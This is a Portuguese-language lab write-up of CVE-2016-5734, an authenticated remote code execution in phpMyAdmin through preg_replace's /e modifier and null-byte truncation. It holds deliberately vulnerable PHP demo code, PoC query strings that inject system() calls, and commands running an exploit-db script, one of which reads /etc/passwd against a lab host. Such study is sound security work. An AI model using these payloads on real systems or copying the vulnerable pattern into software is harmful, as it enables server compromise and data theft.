índice
Descrição de vulnerabilidade
CVE-2016-5734 no exploit-db é phpMyAdmin 4.6.2-Authenticated Remote Code Execution, que significa a execução remota de código de usuários autenticados phpMyAdmin. De acordo com a descrição, todas as versões 4.6.x do phpMyAdmin afetadas (até 4.6.3 )), versão 4.4.x (até 4.4.15.7) e versão 4.0.x (até 4.0.10.16). O autor do CVE usou a função preg_replace na versão anterior ao php 5.4.7 para lidar com o bug do erro de byte nulo, de forma que o código injetado possa ser executado remotamente.
Versão de impacto
- versão 4.6.x do phpmyadmin (até 4.6.3)
- versão 4.4.x do phpmyadmin (até 4.4.15.7)
- versão 4.0.x do phpmyadmin (até 4.0.10.16)
- Versão PHP: 4.3.0 ~ 5.4.6
Construção de ambiente de vulnerabilidade
Use vulhub para iniciar diretamente o dock do ambiente com um ambiente chave CVE-2018-12613
Início rápido do Docker e construção de ambiente de vulnerabilidade
Após baixar e instalar o vulhub, entre no /vulhub/phpmyadmin/CVE-2016-5734
diretório e execute o seguinte comando para iniciar o ambiente
sudo docker-compose up -d
Após a instalação ser bem-sucedida, verifique a porta e descubra se a porta está mapeada em nossa porta 8080.
Visite localhost: 8080 na máquina virtual e a seguinte interface aparecerá, indicando que a instalação foi bem-sucedida
Análise de vulnerabilidade
-
Vamos falar sobre a função preg_replace primeiro : A
função preg_replace executa uma pesquisa e substituição de expressão regular. -
Deixe-me falar sobre o papel de preg_replace \ e :
se este modificador obsoleto for definido, preg_replace () executará a string de substituição como uma avaliação de código php após realizar uma substituição de referência anterior para a string de substituição (método de função eval) e usar a execução resultar como a string realmente envolvida na substituição Aspas simples, aspas duplas, barras invertidas () e caracteres NULL serão substituídos por barras invertidas ao substituir as aspas.
Teste o uso \e
de execução de código:
<?php
highlight_file(__FILE__);
$raw = $_GET['raw'];
$replace = $_GET['replace'];
$text = $_GET['text'];
$text = preg_replace('/'.$raw.'/e', $replace, $text);
?>
poc
?raw=a&replace=system("ls")&text=larry
Se nossa demonstração se tornar o código a seguir, haverá brechas?
<?php
highlight_file(__FILE__);
$raw = $_GET['raw'];
$replace = $_GET['replace'];
$text = $_GET['text'];
$text = preg_replace('/'.$raw.'/i', $replace, $text);
?>
Na verdade, ele pode ser contornado.Quando a versão php for menor que 5.4.7, injete um caractere nulo no padrão para causar truncamento e passe o modificador e, que pode ser executado como código php.
poc
?raw=a/e%00&replace=system(%22ls%22)&text=larry
Para análise de vulnerabilidade do código phpmyadmin, você pode ver o seguinte artigo:
https://xz.aliyun.com/t/7836#toc-5
Explorar
Condições de uso: precisa saber a senha da conta do banco de dados
Baixe o script de exploração:
https://www.exploit-db.com/exploits/40185
Método de utilização de script:
-u conta
-p senha
-c execução de código (código php) uname -a é executado por padrão
python 40185.py -u root -p root http://192.168.154.3:8080
python 40185.py -u root -p root -c "system('cat /etc/passwd')" http://192.168.154.3:8080
Endurecimento de vulnerabilidade
Atualizar php ou phpmyadmin
Link de referência
https://larry.ngrep.me/2016/09/21/cve-2016-5734-analysis/
https://xz.aliyun.com/t/7836